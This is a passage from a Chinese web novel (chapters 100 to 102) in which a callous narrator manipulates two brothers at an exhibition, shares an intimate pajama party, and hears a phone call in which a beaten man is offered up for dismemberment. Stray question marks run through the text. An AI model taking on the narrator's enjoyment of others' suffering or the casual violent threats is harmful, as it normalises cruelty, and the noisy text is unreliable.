他?视线略略偏向旁边的?画作,侧脸线条清晰,淡淡地说:“我不记得?了。” 果然如此。我得?意地拿出手机,将那张拍摄的?照片展示给他?看?。 他?深绿色的?瞳孔骤然收缩,像被无形的?针狠狠刺中?,猛地别过脸去,喉结剧烈地上下滚动了一下。 他?的?声音压抑着怒气:“这种东西——” 看?他?的?反应,难不成真的?忘了? 我贴心地询问:“你还记得?吧,上次说要做个交易。” “既然你想要泉卓逸回去,他?也的?确回去了,那是不是该给我点东西,我也不要贵重的?,有意思就行?。” 泉越泽转回见,勾了下唇角,脸色如同寒风吹过,讽刺道:“他?可从来没?有回来过。” “那是因为你没?给我东西,所以我也没?有完全执行?。” 他?沉默几秒,嘴角勾起毫无情?绪的?弧度:“无论说什么你都道理。” “对啊。”我点点头,理直气壮地说,“因为我是对的?。” “既然这样,你知道他?是什么人,也知道会造成什么结果,为什么不干脆点快刀斩乱麻,彻底结束混乱?” 我疑惑道:“我为什么要结束?” 泉越泽眉头忽然皱紧,语气陡然生硬:“你喜欢他??” “不啊。”我说,“现在对谁都没?有坏处,为什么要结束?” 如果痛苦的?话,那不是更好?吗。 “……只是你一个人觉得?好?而已。” “那你可以去问他?,他?喜不喜欢。” “诡辩。”泉越泽反驳道,“他?不可能对你说出其他?的?话,像这种自甘堕落的?行?为,迟早会引发祸端。” 我说:“可他?就是喜欢啊。” 他?冷笑一声,垂下眼睛,不知道在想些什么。 等等,我不是来捉弄他?的?吗,怎么还跟他?讲起道理了,人类语言不通很正?常,反正?都是自己想自己的?。 但他?这副强作镇定却?难掩波动的?模样,真的?很好?玩啊。 “那好?吧。” 我脑子里蹦出个坏主意,提议道:“那不如这样,你来替代他?吧,既然你什么东西都不想给,那就自己来吧,你来试试他?到底是什么感?觉。” 深绿色的?眼睛看?着我,仿佛想要看?透我在想什么,用一种难以理解的?眼神注视着我。 他?抿着唇,几乎变成一条直线,呼吸凝滞片刻,白色睫毛颤了下。 时间仿佛被拉长?,展厅里的?嘈杂人声、流淌的?音乐都成了模糊的?背景音。 “你只是想玩弄人心而已。” 他?深呼吸,沉沉地吐出一口气:“对你而言,伤害别人就像是呼吸一样简单。” 明明我什么都没?做,他?却?露出了像是被我伤到的?神情?,深深地看?了我一眼,难以忍受地调整领带,像是呼吸不过来。 我有点搞不懂他?的?变化了。 下一秒。 “好?。” 他?抬头看?着我,莫名带着点咬牙切齿:“那就来试试吧。” 我眨巴下眼睛,有点没?反应过来,他?不应该感?到自己被羞辱了吗,不应该愤怒地放点狠话吗?怎么就同意了? 我又?想了想,这应该是说给泉卓逸听的?吧。 因为甜腻的?气息已经萦绕附近,在我们对话的?时候,就像上次一样,泉卓逸就在附近,但不敢接近。 不知这次,他?是会继续选择遮掩,还是像以前那样爆炸。 在泉越泽话音落地的?瞬间,伴随着急促、几乎踉跄的?脚步声,泉卓逸从另一侧巨大的?盆栽装饰后冲了出来。 “泉越泽!” 他?脸色煞白,不见丝毫血色,唯有眼眶通红:“你到底要做到什么!为了我好?,现在也是为了我好?吗?!” 泉越泽甚至没?有完全转过身,只是微微侧首,用眼角的?余光冷淡地瞥了他?一眼,随即抬手,慢条斯理地整理了一下本就一丝不苟的?袖口。 他?说:“这又?如何呢?你应该知道放弃两个字是什么意思,学不会,我不介意用更直接的?方式教你。” “我没?有放弃过吗?” 泉卓逸怒吼道:“我把所有的?都给你了,父母也好?,资产也好?,你想要什么都有,为什么一定要抢走?我的?一切?!” “我的?事和你没?有关?系,你不要打着我好?的?名头来做满足控制欲的?事了!” 他?转头看?向我,眼中?凝聚着破碎的?泪光,颤抖地抓着我的?手,“谁都可以,不要是他?……谁都可以,就连路边随便一条狗也比他?好?——浦真天,不是有浦真天吗?” 他?语无伦次地说:“还有霍亦瑀,谁都行?,邛浚、邛浚也可以!” 在报菜名吗?我发现他?大度了不少。 泉越泽冷声呵斥道:“这里不是你撒野地方。” 附近的?低语声戛然而止,其他?人的?目光如同探照灯般聚焦过来。 不远处的?经理脸色大变,匆匆朝这边赶来,再远点,已经有人停下交谈,毫不掩饰地投来看?戏的?眼神。 死水般的?画展终于活了过来,果然吵架比墙上的?话好?看?。 如果我没?有站在中?间就更好?了。 我又?看?了眼,确认现在没?有记者,试图用泉卓逸的?身体遮挡住我。 泉越泽的?脸色愈发冷漠,“每次出来都在丢人现眼,真是令人失望,父母在天上对你一定很失望。 “和你无关?!!” 泉卓逸激烈地反驳,情?绪隐隐失控。 我的?手腕被抓得?很紧,泉卓逸激烈地呼吸着,额头上浮现出青筋,而泉越泽无动于衷,只是皱着眉盯着他?抓着我的?手腕。 “小冬……求你了……不要是他?……” 泉越泽的?眉头终于深深地拧紧,形成一道刻痕,像是暴风雨前的?风浪,冷声道:“我再说一遍,松开。” “泉卓逸,你现在这样什么也做不到。” 泉卓逸固执地抓着我的?手,埋着头,一声不吭,要拉着我对抗全世界似的?。 我还在想泉卓逸到底有没?有勇气打泉越泽。 虽然怒气冲冲,但他?总是像个被抢走?玩具的?孩子,什么也做不到。 气氛冷凝,僵持在原地,直到另一只手沉稳地介入,隔开了我们。 哥哥回来了。 他?手里端着盘子,面色不善,直直地挡在我和泉卓逸之间。 泉卓逸看?到他?,愣了下,往后退了一步。 “还想让别人看?笑话吗。”泉越泽冷漠地说。 而泉卓逸握紧拳头,最后看?了我一眼,转头离开。 泉越泽的?视线扫过哥哥,像是蜻蜓点水般掠过,又?看?向我。 “既然说了,我就一定会做到。” 他?轻轻颔首,一副云淡风轻的?模样,但对视时,他?率先移开视线,淡淡地说:“下次见。” 泉越泽转身走?人,留下一头雾水的?我。 聚光灯似的?目光逐渐消失,大厅再次恢复平静。 哥哥看?向我的?手腕:“他?们烦到你了吗?” 我点点头,又?摇摇头。 他?沉默片刻,只是将手中?那碟差点在被打翻的?点心,稳稳地放进我的?手心。 我将甜品塞进嘴里,甜腻的?气息混合着融化冰淇淋,在舌尖绽开。 即使人走?了,空气中?仍然残留着未散的?、激烈的?情?感?。 他?们真的?蛮好?玩的?—— 作者有话说:感觉这俩人像跳蚤,很好玩有木有 啧啧属于嘴上说得好,实际上是全是私心,这次也是图穷匕见了,他对拙拙真的很扭曲啊,一边忮忌(觉得父母更爱他),一边残酷地对待,因为他本人是衡水教育(?),所以觉得拙拙一直小题大做,对于他沉溺在感情里的行为非常看不惯 按理说啧啧其实也不会过度干涉拙拙,但奈何有私心,觉得自己必须干涉(说服自己)《 》 100-105 第101章 [泉卓逸(1.7)]:昨天?的事……你真的要答应他吗? [世界第一恶魔大人?]:我没答应他 [泉卓逸(1.7)]:好吧, 只要不是他谁都可以,他那种自私自利的人?不可能懂什么是爱,只是为了利益,只有利益才能让他做事……真的不要是他 [世界第一恶魔大人?]:我没答应他 [泉卓逸(1.7)]:……好 消息停在结尾。 我本以为泉卓逸会?闹出点?大动静, 结果他离开后, 竟又变回了那副安安静静、好像无事发生的样子。 这算……长大了吗? 要是以前的他, 消息早就炸了,人?也?早该堵在门口质问我了。 要说哪个更?好玩,我觉得都行,反正不无聊。 是不是因为太闲了, 我总想做点?坏事。 为了消磨时间,我决定了,我要开睡衣派对!在家里闹翻天?! 在我决定举行后, 第一个响应的人?是浦真天?,他的工作大多在白天?,所以很轻松地?就来?了。 然而,响应的人?只有他。 朋友们已经化身社?畜, 而哥哥在我带他去见了大世面?后,不知道为什么燃起了热血,反而成了有事的那个,最近这几天?, 他总是频繁外出。 我的成功激励了他, 让他觉得自己不应该再啃小。 结果, 派对就变成了我和浦真天?面?面?相觑。 他穿着我临时找给他的、有点?显小的棕熊连体睡衣, 对着满地?毯的零食,坐姿拘谨。 按照网上的教程,睡衣派对应该有很多食物, 可惜了,我的食物品种单一,而浦真天?就很幸运了,他可以吃这么多的东西。 为了气氛,我特意把客厅主灯关了,只留几盏壁灯晕出暖黄的光圈。 抱枕丢得满地?都是,电视里放着部吵吵闹闹的无脑喜剧,落地?窗外,城市的夜景比白天?更?生动。 霓虹灯的光污染融化在江水里,高楼的光直到天?亮前最后一秒才会?熄灭。 我举起手里的啤酒罐,对浦真天?说:“我宣布两个人?的派对也?是派对,棕熊小浦,来?举杯。” 浦真天?拉了下?领口,那扣子看着有点?紧绷:“明子他真的不回来?吗?” “他很忙啦。”我说,“虽然也?不知道在忙什么,但他很忙就对了。” 就像是那段时间,他总是早出晚归,也?不知道在做些?什么,发送的消息倒是很快就回复。 浦真天?又悄悄拽了下?领口。他是来?了才知道要换睡衣的,还以为我真有正事找他。 这算惊喜吧?我想。 我看向绷紧的扣子,问:“不合身?” “没、没有。”他摇摇头,犹豫了一下?,小声补充,“可能最近吃得有点?多,紧了些?,得注意控制了。” 我看了眼地?毯上堆积如?山的薯片、巧克力、膨化食品,又看看他。 浦真天?摸摸后脑勺,无奈地?笑?了:“下?次,下?次一定注意,今天?……就算了吧。” “你知道睡衣派对要做什么吗?” 他下?意识看向手里的啤酒,缓慢地?眨了下?眼,“喝酒……聊天?之类的?” 我竖起食指,煞有介事地?晃了晃,认真地?说:“那些?都是表面?的,还有更?重要的事。” 他直起上半身,舔了下?嘴唇,犹豫地?说:“是什么?” “是拍照!” 我举起手机,咔嚓咔嚓地?乱拍一通,但很快就腻了,失去兴趣,向后倒下?,像液体似的躺在地?毯上。 照片一张就够了,花费不了整晚的时间。 我伸手揪他身上的绒毛:“原来?开派对这么无聊,还不如?以前在[极乐世界]看你们上班有意思。” “小冬会?怀念以前吗。”他轻声问。 “或许吧。” 我只是嘴上说说,真要我回去,我才不回去嘞,像这种时候只会?出现?在打脸时刻,打完脸主角都会?回新住处,正所谓人?往高处走,水往低处流…… 正在我思考着人?生哲理?时,浦真天?喝了口啤酒,闷闷地?说:“如?果可以的话,我想回到以前。” “以前有什么好,房子很小诶。” “……虽然小,但什么也?不缺。” 我抬头看他,问:“你现?在缺什么?” 他眼里的光晃动了一下?,像被风吹乱的烛火,随即垂下?眼,笑?了笑?:“其实?也?不缺什么。可能就是人?总爱回想以前,是通病。” 人?为什么会?想以前,因为惯性?还是因为什么? 惯性理?论好像不能适用于所有场景,像这种在运动中重新出现?怀念的事,好像只在人?身上才有吧。 改变了状态,不应该一直朝着新的方向前进吗?就算怀念过去,也?不可能回去。 或许是因为和现在形成对比吧,如?果人?总在怀念,那岂不是一直活在过去? “我也?会?想以前的事。” 我说:“但是只在二十年的范围里。” 浦真天?被我逗笑?,“难不成还有前世可以想起吗?如?果这样的话,我倒是想知道上辈子的自己是什么人?。” “应该是个好人?。”我笃定地?说。 他笑?了下?,无奈地?叹气:“那我做了多久的好人?啊。” 我立刻坐直,眼睛发亮:“你终于?知道好人?不好了?” “也?不是。”他摇摇头,“只是偶尔不想当个好人?,想肆无忌惮做些?事,不用考虑别人?的想法那样活着,会?轻松一点?吧。” “你应该向泉卓逸学习。” 他喝了口酒,指尖摩挲着冰凉的罐身,忽然问:“他最近……是不是跟你闹别扭了?” 我躺回原位,对这类事情不感兴趣。 闹别扭这种事,只有他自己知道。 我感慨道:“你们的关系什么时候变好了,让你开始关心他啊。” 像泉卓逸这样活着的人?才是大多数,浦真天?好得超标,贴合完美的人?类道德要求,像这样活着,不累吗? 我只遵守法律,道德什么的,没有惩罚的东西我才不管。 “他帮过我。就算对他来?说只是顺手,对我,是件该记住、该报答的事。” 他陷入回忆,握紧了啤酒罐:“人?要是找不着方向,活着都难受,吃饭、走路、睡觉……连呼吸都变得麻烦,他拉了我一把,至少让我知道该往哪走了。” 说完后,他补充道:“只是类比,我没有到那种程度。” “但他帮了我。” 如?果指方向就可以让人?感激的话,那指路牌是不是世界上最应该被感谢的东西? 我不懂,但今天?是睡衣派对,除了吃东西,还要聊天?、说点?心里话。 我问:“那你的方向是什么?” 浦真天?看着我,眼中反射着霓虹灯变幻的光,宛如?波光粼粼的江面?。 他低下?头,抿了下?唇,轻松地?笑?起来?:“赚钱,过上更?好的生活,然后买房。” 我点?点?头,颇为赞同:“买房很好,大家都应该买房,家是最重要的。” “嗯。”他沉沉应了一声。 我举罐和他碰了一下?,叮当脆响,然后撑着脑袋,心不在焉地?看电视。 屏幕里,一群人?正又唱又跳,手拉手转着圈圈。 我猛地?蹦起来?,朝浦真天?伸出手。 他愣住,随即把手放进我掌心,任由我拉着他在客厅里笨拙地?转圈,他手指灵活,跳舞却奇差无比。 我抬起手臂想让他钻过去,他弓着腰,别别扭扭、战战兢兢地?转了过去,还差点?被自己的腿绊倒。 欢快的音乐在客厅里咚咚回荡,混合着窗外的霓虹光影,还真有几分迷你舞厅的味道。 我拉着他不停地?转,直到音乐停下?,电影里的人?开始做别的事才停下?。 浦真天?脸上绽开笑?容,眼睛弯成了月牙,他坐回沙发,就那样笑?着看我。 “开心吧?”我得意地?扬起下?巴,“这才是睡衣派对的精髓!” “可惜栾明体会?不到咯。” 浦真天?顿了下?:“我们可以把照片发给他。” 我想了想,觉得他说得对,于?是拿出手机,拍了张照片发了过去。 [哥]:别玩得太晚 [哥]:太晚的话,浦哥不好回家 [世界第一恶魔大人?]:房间很多,他可以留下?来? 我转头看向浦真天?:“今天?晚上留下?吧,太晚的话,你可能打不到车。” “可是明子他——” “你不用睡他的床,家里还有很多房间。” 我神气地?比划一下?:“还有四、五个房间。” 手机震动,哥哥发来?新的消息,一个简洁的好字。 浦真天?点?点?头,盯着手里的啤酒罐,语气不知道为什么有点?紧绷,问:“小冬,你还叫他栾明,还没有原谅他吗?” “原谅了啊。”我倒在他旁边的地?毯上,撑着下?巴继续看电影,“叫什么都行嘛,哥、栾明、小明,或者像你一样,叫明子,反正他不在意。” 浦真天?却摇摇头。 “明子和以前不一样了,作为朋友,我对他其实?一点?也?不了解,以前或许懂一点?,因为那个时候我们还有共同点?,但现?在……他变了太多了。” 他看向我,将未尽的话吞回肚子里,扯了下?嘴角,“今天?晚上我是不是话太多了?” 我想了想,觉得他说得对,要预测一个人?的行为很难,就算是问他,也?可能得到口不对心的答案。 为了避免弯弯绕绕,我一贯只当他们说的就是心里想的。 “你应该向我学习。”我传授心得,“如?果他们不说,那就当不是好了。” 浦真天?轻声说:“就算不说,也?会?从眼睛里跑出来?。” 我立刻盯住他的眼睛,试图从那片温润的棕色里挖出点?秘密。 他被我盯得有些?不自在,眨了眨眼,抬手摸了摸后颈:“……也?不是直接就能看出来?的。” 今晚他的话变多了,因为酒精还是因为什么原因? “在这个光下?,你看上去很好看。”我忽然说。 浦真天?怔住,目光像蜗牛的触角,小心翼翼地?、再次探了过来?。 他比之前瘦了些?,肤色是健康的小麦色,变幻的光影流淌过他五官的线条,留下?明明灭灭、暧昧难言的阴影。 虽然光很暗,但他的眼睛是亮的,像盛着江面?的波光。 因为睡衣太紧,他又忍不住扯了扯领口。 下?一秒—— “啪!” 一颗纽扣子弹射而出,不偏不倚,打在我脸颊上。 空气凝固了两秒。 浦真天?猛地?捂住脸,手忙脚乱地?去抓那颗滚落的凶器。 我摸了摸脸,眨眨眼。 眼前的人?恨不得把身体扭成麻花,声音尴尬得发飘:“果然长胖了。” 我拍拍他的肩,语重心长:“别勉强自己,是衣服太小了,敞开吧,像是你的心胸那样敞开,而且……” 我凑近点?,理?直气壮地?说:“我想看。” 他呆呆地?坐正,双手放在膝盖上。昏暗光线下?,看不清他脸是不是红了,但耳朵尖好像有点?颜色。 灯光趁机溜进他敞开的领口。即便努力控制,那里的线条依旧……很有分量。 我伸出手,用食指好奇地?戳了戳。 浦真天?浑身一紧,屏住呼吸。可皮肤下?的心跳却擂鼓般越来?越响,越来?越快。他看了我一眼,抬手想挡住脸。 这时,电影的声音显得格外聒噪。 我干脆把耳朵贴上去听。咚咚、咚咚……心跳声震着耳膜,隐约还能听到血液奔流的、潮水般的声音,随着他的呼吸轻轻颤抖。 听了一会?儿,我换到另一边:“你心跳好响,砰砰砰,像在敲鼓。” 要是人?能控制心跳,是不是能敲出首曲子?而不是现?在这样乱七八糟。 我又把脑袋挪到他肚子上。果然,听到了肠胃蠕动和其他器官运作的、细微又奇妙的声响。 眼睛不一定能流淌出情感,但拆开他,肯定能看到运作着的器官。 浦真天?抓住我的肩膀,声音有点?发颤,带着难以忍受的痒意:“小冬……等、等会?儿……这个姿势……我有点?……” 我从善如?流地?坐直,发现?他脸色已经红得连昏暗光线都藏不住了。 于?是我越过他挡脸的手臂,用手指戳了戳他发烫的脸颊。 他放下?手,眼睛湿漉漉的,像融化的巧克力,抓住我的手指,叹了口气。 “……我是不是很丢人??” “还好。”我诚实?地?说,“我觉得挺有意思。” 他笑?了下?,视线转向电视,犹豫片刻,舔了舔有些?干的嘴唇,声音很轻地?问:“那现?在……要使用我吗? 他低下?头,温顺地?看着我,像是怎么都可以的模样。 浦真天?变得更?加柔软了,像一个捏捏乐,如?果是很小型的那种,捏爆也?不会?粘手。 但我不会?做那种血腥的事。 我扯了下?他的脸,又想了想了,说:“那你亲我一下?。” 他犹豫下?,低头亲在我的额头上,然后是脸颊上,最后呼吸停滞,落在了嘴唇上。 我满意地?点?点?头,把他推倒,躺在他的胸口上,舒舒服服地?看电影。 浦真天?反应慢半拍,突然笑?了起来?,胸膛震动个不停。 我霸道地?按住他:“怎么了?” “没什么。”他说,“只是觉得现?在很好。” “太好了……能像现?在这样留在你身边。” 我得意哼了声,看着电影里的主角和同伴手牵手,脑中突然灯泡亮起,对他竖起小拇指。 “来?约定吧。”我说,“你要一直待在我身边,我说什么你就做什么,如?果做不到的话……那就要——” 要恶毒一点?的惩罚才行。 我说:“那就一辈子只能吃蔬菜沙拉。” 他看着我,止不住地?扬起嘴角,“好。” 手指勾在一起,他点?点?头。 就在这时,手机忽然疯狂地?响铃,不是我的,而是浦真天?放在桌面?上的。 他疑惑地?看过去,随即下?意识看向我。 我努力伸长手臂,从桌面?上抓过手机,此时屏幕上跳动着熟悉的字眼:邛浚。 “你认识他?” 浦真天?老实?地?回答:“之前遇到就交换了联系方式。” 我猜是邛浚死缠烂打非要交换。 这时候打来??准没好事。 我挂断。但电话立刻又不依不饶地?响起。 这次,我想了想,划开接听,按下?免提。 传来?的却不是邛浚那咋咋呼呼的嗓音,而是另一道更?熟悉、也?更?黏糊的声线,像丝绒蛋糕的声音。 是颜升。 “喂——?总算通了啊。” 对面?哼笑?一声,轻微的啧声响起,呼吸声在风里混乱,压制不住兴奋。 “我知道你是谁,小冬,你在听吧,真是的竟然这么久还没把我从黑名单里放出来?,我真的会?忍不住啊。” 他黏黏糊糊地?抱怨,随即又放软声音:“我想你了,你想我了吗?” “不想。” 我看了眼浦真天?,他眉头微蹙,神色严肃起来?。 “别急着挂嘛。”颜升像是料到我的反应,话锋一转,“有正事哦,而且,你不好奇吗?屏幕上闪着那俩难听字,说话的却是我。” “我有个惊喜给你。” 话音刚落,听筒里猛地?灌进一阵狂暴的引擎轰鸣,像是赛车场上,油门踩到底、蓄势待发的轰隆作响。 “我在赛车场。”他的声音混在风噪里,有些?模糊,但兴奋显而易见,“刚知道件有意思的事,猜猜是什么?” 如?果他在我面?前,我非要推他一把才行。 “你说不说,再不说我挂了。” 我警告道:“你等着吧。” 对付颜升,我不得不成为素质低下?的人?。 “哎呀。” 他怪腔怪调地?学了一句邛浚的口头禅,随即又嫌弃地?啧了一声,嬉笑?道,“别急嘛,这就告诉你。” “你是不是很奇怪为什么霍亦瑀会?那么了解你,他似乎对你了如?指掌,做什么都符合你的心意,总是能帮你一把。” “因为啊。”他低低地?笑?了起来?,“有人?在背后出卖你的信息哦。” “就这样表面?装成你的好朋友,然后再出售另一个人?,让你轻而易举被蒙蔽,被引诱走。” “邛浚是个贱种。”颜升毫不掩饰,笑?意里掺进冰冷的恶意,“他是条养不熟的白眼狼。” 原来?如?此。 那所谓的三分钟全部资料的超能力,用的是这种人?力。 “哦。”我应了一声。 电话那头风声呼啸,赛车引擎的嘶吼越来?越近,似乎话筒被挪到了另一个人?嘴边,传来?另一道呼吸声,不平稳,断断续续。 颜升的声音响起:“打个招呼吧。” 闷哼声从喉咙深处传来?,有什么砸在身体上,但是轰鸣声太大,听不清。 “咳……晚、晚上好啊。”那声音故作爽朗,却掩不住喉咙里液体翻涌般的咕哝声,还假装咳嗽了两下?,“今儿风大……我好像有点?感冒。” “不用担心我哦,喝点?热水就好了。” 邛浚似乎笑?了下?,心情很好地?说:“但是你要是愿意关心我一下?,我说不定可以好得更?快。” 我还没说话,他就自顾自地?说:“嗯,我听到了,你的呼吸在安慰我。” “装你爹。”另一道声音骤然响起。 紧接着是嘭一声闷响,像是什么东西被踹倒,颜升的声音再次清晰起来?。 “要照片吗?” 他说:“还是说你想看他哪只手?哪只脚?虽然处理?起来?麻烦点?,但也?不是不能卸下?来?给你。” 像是撒娇似的,他亲昵地?说:“快说嘛,你想怎么处置他。” “我干嘛要处置他。” “因为他背叛你。” 另一边的声音夹杂着似真似假的笑?意,轻飘飘地?说:“你不会?不在意吧?” 我:“对啊。” 这种程度的信息泄露,我在诈骗短信和私生邮件上早有体会?。 怪不得总觉得邛浚在做坏事,原来?是这样啊,仔细想想,他可能帮我省了不少的事,从结果上来?看,他从未影响到我。 像落在身上的跳蚤,抖抖翅膀就掉下?去了。 我继续用指尖绕着浦真天?睡衣上的绒毛,并不觉得这是什么大问题。 电话那头沉默了一瞬。 “……真大方。” 颜升意味不明地?感慨,随即话音又黏了上来?:“那能不能对我也?大方点??我比他忠心多了,是不是?” “你们在哪儿?”我问。 “老地?方,赛车场。”他忍不住又笑?起来?,风声猎猎,让那笑?声听着格外凉,“我这个人?,睚眦必报,他对我做了什么,我就十倍还回去。” “不过亲爱的,我绝对不会?报复你,咱们之间那点?摩擦,是情趣,对不对?把我从黑名单放出来?吧,我想你想得不行。” “看我心情。” 一只温热的手轻轻按在我手背上,浦真天?对我摇了摇头,眼神示意窗外。 我顺着他的目光看去。 耳边响起颜升叹息般的、略微上扬的声音。 “下?雪了——” 没等他说完,我直接掐断了电话。 啪嗒啪嗒。 我跑到巨大的落地?窗前。 窗外,鹅毛般的雪片正簌簌落下?,纷乱、密集地?覆盖着眼前的一切。 冬天?到了—— 作者有话说:冬天真是个神奇的季节,窝又有点蠢蠢欲动了 穷菌被打了听到小冬不在乎,还开始乐,觉得自己才是更激烈她的那个人,本来做的事只是让小冬向上走而已,他觉得自己完全没错,就算和冬子在一起,这个时候出现另一个人,如果和另一个人在一起冬子可以过上更好的生活,那他肯定毫不犹豫地选择让冬子去,反正他会跟上去,而且不在乎身份,感情观十分地扭曲,他表达感情的方式就是把自己觉得好的东西给冬子,之前也是,觉得伤害颜升冬子会高兴,加上不明白的感情,所以提出了那种狗血建议 但是对鲜花饼,因为小时候家庭巨变,被他爸洗脑,对鲜花饼特别讨厌,一边模仿他,一边讨厌他,想要取而代之,两个人很像,比本文其他所有兄弟都像,是只有一个人能活下去的地步 而鲜花饼就是单纯的疯了,没有悲惨的理由,自然生成了贱摸贱样,骨子里十分高傲,是会觉得喊出主人很有趣就喊了的人,不会因为被贬低而兴奋,只会因为冬子的反应而兴奋,不是M,但是吧,会因为被冬子粗暴对待而高兴(比划) 至于普子,他就是单纯的共情心很强的好人,之前还会有自己的小心机,有点爱说教,但现在彻底没了,已经变成被遗弃过一次的狗,有ptsd,做什么都小心翼翼 第102章 冬天?到了。 雪花簌簌地扑向地面, 像是急于掩盖什么,江水流速似乎都变慢了,草地、屋顶、远处的桥,都覆上了一层蓬松干净的白。 下雪的第一天?, 我十分兴奋, 想着可以去?雪乡玩了, 大清早精神十足。 昨晚浦真天?没走,早上我们一起?吃的早饭。 哥哥不?知道什么时候回来的,但早饭是他?做的,饭后, 他?没立刻出门,而是在我对面坐着,停留在原地。 我咬着面包, 含糊地问:“你今天?没工作吗?” “今天?……”他?停顿了一下,手指无意?识地摩挲着温热的杯壁,“也有事。” “那你多久回有空?” “可能要再过?一段时间?。” 我叹了口气,故作深沉:“果然还是当明星好, 赚钱多,假期还长。你看我,现在就是个无业游民。” 我转向旁边安静喝牛奶的浦真天?:“你呢?有活吗?” “我?” 浦真天?放下杯子,身上还套着昨晚那件略显局促的棕熊睡衣, 头发睡得有点翘, “最?近……好像也少了, 可能是快过?年了吧, 大家?节奏都慢了。” 我点点头,但转念又想,我其实也不?是个闲人, 我还有个公司要管。 一大早,宗朔的消息一条接一条,无非是催促我“该来公司视察了”、“老板不?能总当甩手掌柜”。 这才过?去?多久,他?又开始犯人瘾了。 正?烦着,一条新?的好友申请蹦了出来。 名叫[不?存在]的用户,头像是一片黑,看上去?像是某种黑客小号,添加了就会把钱全部偷走。 我利落地点了拒绝。 下一秒,申请又弹了出来。如?此反复几次,像是在进行一场无声的拉锯战。 最?后它赢了。 因为这家?伙发送了新?的验证消息。 [我是黎鸶,通过?一下] 黎鸶?他?加我干嘛? 我记得他?很怕我来着,是不?是想通过?我整霍亦瑀? 在想到霍亦瑀的瞬间?,他?的消息跟着弹了出来。 哥哥瞥了一眼我的手机屏幕,他?移开视线,端起?面前的杯子喝水,但不?知怎么被呛到,咳嗽起?来。 浦真天?关?切地望过?去?:“感冒了?” “没有,”哥哥声音有点哑,“只是喉咙有点痒。” “……多喝热水。” 浦真天?干巴巴地接了一句,餐桌再次恢复安静。 我继续低头看消息。 [Y.Y]:下雪了 [Y.Y]:今年打算什么时候去?雪乡? [世界第一恶魔大人]:现在还不?可以 [Y.Y]:为什么? [世界第一恶魔大人]:因为还有很多事,年末正?式忙碌的时候,说不?定那里也有很多人,再等等吧 [Y.Y]:那你打算什么时候回家?? [世界第一恶魔大人]:我就在家?啊,你要来吗? [Y.Y]:…… [Y.Y]:不?了,最?近公司的事很多 [世界第一恶魔大人]:哦,那你忙吧 年末真是,谁都在忙。 我端起?桌上的水杯喝了口,想了想,通过?了黎鸶的好友添加。 对面立刻发了消息 [不?存在]:你为什么通过?我? [世界第一恶魔大人]:? 这人有病吧,感觉脑子不?太好使,所以是怎么给霍亦瑀添乱的? [世界第一恶魔大人]:是你加的我,我通过?一下怎么了 [不?存在]:这是很危险的行为 [不?存在]:随便通过?陌生人,说明你也经常这样 [世界第一恶魔大人]:那我删了 就在我手指将要按下的瞬间?,一条转账信息跳了出来。 我眨眨眼,顺手点了接收。白来的钱,不?要是傻子。 [不?存在]:买你的好友位 [不?存在]:你就当我不?存在 从来没听过?这么奇怪的要求。我关?掉对话框,抬头发现哥哥不?知何?时停下了动作,正?看着我。 我问:“你什么时候出去??” “一会儿。”他?顿了顿,“需要我带什么回来吗?” 我摇头。 他?转向浦真天?,语气平静礼貌:“在家?的话,就麻烦浦哥了,最?近确实比较忙。” 浦真天?脸上的表情有短暂的停顿。 “没事。” 他?连忙摆手:“我们之?间?就不?用说拜托了,像以前一样吧,我会好好照顾小冬的。” 哥哥沉默地点点头,离开前,他?从柜子里拿出一条浅灰色的羊绒围巾,走到我身边:“H市冬天?湿冷,比A市厉害,出门的话,戴上这个。” “知道啦。” 我随意地点点头,但围巾这种东西,我才不?会戴,毛茸茸地扎脖子。 他?拿着围巾的手在空中停了几秒,最?终没说什么,只是仔细将它叠好,放在沙发最?显眼的扶手上,然后转身回房换衣服,很快,门口传来关?门声,脚步声消失在玄关?处。 浦真天?看着他?离开的方向,转回头,眉宇间?浮起?一丝忧虑。 “小冬,你真的不?知道明子在忙些什么吗?” 我摇头:“不?知道啊。” 看他?一脸的担忧,我拍拍他?的肩膀,宽慰道:“他?要是想说自己会说啦,想那么多干嘛。” 浦真天?笑了笑,那点忧虑像雪一样化开,没留下痕迹。 我从餐桌移到沙发上,玩了会手机,等浦真天?从厨房里出来,便宣布:“等会儿我要出门一趟。” “去?哪?” “公司。” 他?点点头,迟疑地问:“我能一起?去?吗?” “可以啊。”我爽快答应。 于是我们收拾妥当,踏入纷扬的雪中。 车子缓慢行驶,我贴着冰凉的车窗,专注地看着外面雪花飞舞的世界。 “你真的很喜欢雪。”浦真天?的声音在旁边响起?。 “对啊,”我没回头,“我喜欢冬天?。” “之?前你离开的时候就是冬天?呢。” 浦真天?忽然有点感慨,意?识到自己说了什么后,他?抿了下唇,视线看向前面的司机。 “小冬。”他?说。 我转头看他?,问:“怎么了?” “……我住在家?里,会不?会不?太好啊?” “没有啊。”我说,“你只有这么大,又没有把房子占满,为什么会不?好?” 他?勾了下嘴角,语气有些失落:“我只是觉得和以前不?一样了,我不?知道该怎么和明子说话,好像什么话题也没有。” “那你跟我说话就好了。” 再次见面,哥哥和浦真天?的相处像是隔着一层看不?见的膜,只要我不?在,浦真天?总会露出尴尬的表情。 是因为工作不?一样,所以没有话题吗? 我不?是很懂。 浦真天?点点头,恢复平静。 等快要抵达下车地点的时候,他?窸窸窣窣地响动了一番,忽然倾身过?来,一条柔软的围巾轻轻绕上我的脖颈。 我才发现他?在出门的时候顺手拿走了放在沙发上的围巾。 他?仔细调整着褶皱,手指温热:“戴上吧,今天?降温很厉害。” “你怎么那么听他?的话?”我任他?摆弄,好奇地问。 “……因为我们是朋友。” “那我呢?” “因为你是小冬。”他?抬起?头,眼睛弯成温柔的弧度,替我理了理围巾末端,“因为你更重要。” 车子在公司楼下停稳。经理早已等候,她替我拉开门,看到我身后的浦真天?时,明显愣了一下,职业化的笑容里透出一丝迟疑:“这位是……?” “是我的——” 我左思右想,左思右想,终于找到一个合适的归类:“是我的哥哥。” 经理礼貌地微笑,看了眼手机,语气更加恭谨:“那么,请这位先生在楼下休息区稍候。总裁接下来有重要的商业会议,涉及内部信息,不?便旁听。” 总裁。 我是总裁。 我不?由自主地挺直了背,朝浦真天?挥挥手:“那你在这儿等我吧,我很快下来。” 浦真天?看了一眼经理,点点头,停在了光洁明亮的大厅里。 而我则乘坐电梯,升上最?顶部。 宗朔像上次一样坐在办公桌前,手里拿着份文件,看到我,他?放下手里的东西,撑着头,困倦地打了哈欠。 “这次挺准时的嘛。” “你变成顶楼办公室的地缚灵了吗?”我在办公椅后坐下,“是不?是只能在这里见到你了?” “可能。” 